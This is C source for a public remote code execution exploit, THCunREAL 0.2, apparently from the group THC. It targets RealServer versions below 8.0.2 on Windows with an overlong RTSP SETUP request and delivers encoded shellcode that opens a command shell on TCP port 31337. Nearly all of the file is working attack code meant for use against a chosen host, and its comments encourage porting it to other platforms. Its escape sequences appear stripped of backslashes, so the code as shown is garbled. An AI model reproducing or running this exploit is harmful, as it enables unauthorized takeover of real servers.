/*************************************************************/
/* THCunREAL 0.2 - Wind0wZ remote root exploit                                    */
/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)        */
/* THC PUBLIC SOURCE MATERIALS                                                       */
/*                                                                                                      */
/*                                                                                                      */
/* This is the much more reliable version of the Realserver < 8.0.2 exploit */
/* Tested with different OSes and Realserver Versions                              */
/*                                                                                                      */
/* While probing lot's of boxes via 'OPTIONS / RTSP/1.0' on TCP port 554  */
/* i noticed that 99% of the probed machines are not up2date yet ! =;O)   */
/*                                                                                                      */
/* The shellcode is much shorter than the one in version 0.1 now and of    */
/* course offsetless ! The encoder in front of the exploit is needed coz the */
/* shellcode has next to 0x00,0x0d,0x0a also to be 0x20 and 0xff free !   */
/*                                                                                                      */
/* After successful exploitation  a commandshell should spawn on             */
/* TCP port 31337 ! Use netcat to connect to this port !                            */
/*                                                                                                      */
/* If there's no connectable port 31337, maybe it's blocked by a firewall !  */
/*                                                                                                      */
/* Unfortunately i hadn't a Linux/Sparc or whatever Platform Realserver 8   */
/* runs on. I just know it's also exploitable on other OSs !                        */
/* So if u wanna exploit other platforms, try to get Realserver 8 and use    */
/* gdb to find out, how this can be exploited ! Good luck !                        */
/*                                                                                                      */
/* compile with MS Visual C++ : cl THCunREAL.c /link ws2_32.lib                */
/*                                                                                                      */ 
/************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

char w32portshell[] =
"x8bxfax33xc9xb2x35x90x90x90x66x81xc1x38x01x83"
"xc7x1ax8ax1fx32xdax88x1fx47xe2xf7xdex16x4fx5c"
"x37x30x59x6cxcdx28xa9xebxb9xe4x79x45xe1x36xc5"
"x12x15x15x05x3dx62x66x07x6ax06x07x1bx71x79x79"
"x34xdex30xddxccxcaxcaxcax68xb6xd8x1fx5fx05x6c"
"x51xbex34xbex75x39xbex45x29x98xbex4dx3dxb8x6a"
"x09xbex2ex34xcexbex6ex4dx34xcexbex7ex29x34xcc"
"xbex66x11x34xcfx66x64x67xbex6ex15x34xcex04xfc"
"x74x04xf5xacxbex01xbex34xcbx99x04xf7xe4xd7xb1"
"xf5x40xc2x3ax83x70x30xb8x71x70x31x53x0cx25x40"
"xd4x53x04x25x6fx6dx6bx63x65x67x1ex7bx25x74x3a"
"x82x39x7fxbex31xbdx34xcdx3ax83x78x30xbcx71xb8"
"xedxcbx78x30x40x8bxcbx78x31x41x14xcbx78x17xb8"
"x68x2dx66xcaxe5xbcxf2x5fx31x6dxbdx70x30xb5x70"
"x42x3fxb8x68x41xb5x5ex13x21xdcx4dxcaxcaxcaxbc"
"xfbx04xeex66x66x66x66x63x73x63xcaxe5xa2x60x6d"
"x53xbcx05x5fx25x60x62xcax60xe1x7bx63x62xcax60"
"xf9x66x60x62xcax60xe5xa2xb8x70xbdx65xcax60xd1"
"x60x60xcax60xddxb8x71x30x39xa1x66x5dx1bx50x4d"
"x50x5dx69x56x58x51xa1x04xe7xb8x70xf9xa1x62x62"
"x62x66x66xcbxf3x34xc7x67xa1xb8x70x4dx65xb8x70"
"xbdx65x84x3dx66x66x5fx25xcbxfbx67x66x66x66x60"
"xcax60xd9x5fxcaxcax60xd5";

void usage();

int main(int argc, char *argv[])
{ 
unsigned short realport=554;
unsigned int sock,addr,i,rc;
unsigned char exploit_buffer[4132];
unsigned long retloc1,retloc2,retaddr;
struct sockaddr_in mytcp;
struct hostent * hp;
WSADATA wsaData;

printf("nTHCunREAL v0.2 - Wind0wZ remote root sploit for Realserver < 8.0.2n");
printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)n");

if(argc<2)
usage();

retloc1 = 0x6235108c; 
retloc2 = 0x623514b6;
retaddr = 0x62354f5e;

memset(exploit_buffer,'Z',4131);
memcpy(exploit_buffer,"SETUP /",7);
*(unsigned long *)&exploit_buffer[4082] = retloc1;
*(unsigned long *)&exploit_buffer[4086] = retloc2;
memcpy(&exploit_buffer[7],w32portshell,strlen(w32portshell));
*(unsigned long *)&exploit_buffer[4090] = retaddr;
memcpy(&exploit_buffer[4094],"x83xc2x19x52xc3",5);
memcpy(&exploit_buffer[4099]," RTSP/1.0rnTransport: THCr0x!rnrn",33);

if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
{
printf("WSAStartup failed !n");
exit(-1);
}

hp = gethostbyname(argv[1]);

if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) )
{
printf("Unable to resolve %sn",argv[1]);
exit(-1);
}

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock)
{ 
printf("socket() error...n");
exit(-1);
}

if (hp != NULL)
memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
else
mytcp.sin_addr.s_addr = addr;

if (hp)
mytcp.sin_family = hp->h_addrtype;
else
mytcp.sin_family = AF_INET;

mytcp.sin_port=htons(realport);

rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
if(rc==0)
{
send(sock,exploit_buffer,4131,0);
printf("nexploit send .... sleeping a while ....n");
Sleep(1000);
printf("nok ... now try to connect to port 31337 via netcat !n");
}
else
printf("can't connect to realserver port!n");

shutdown(sock,1);
closesocket(sock);
exit(0);
}

void usage()
{
printf("nUsage: <Host>n");
exit(0);
}


// www.Syue.com [2003-04-30]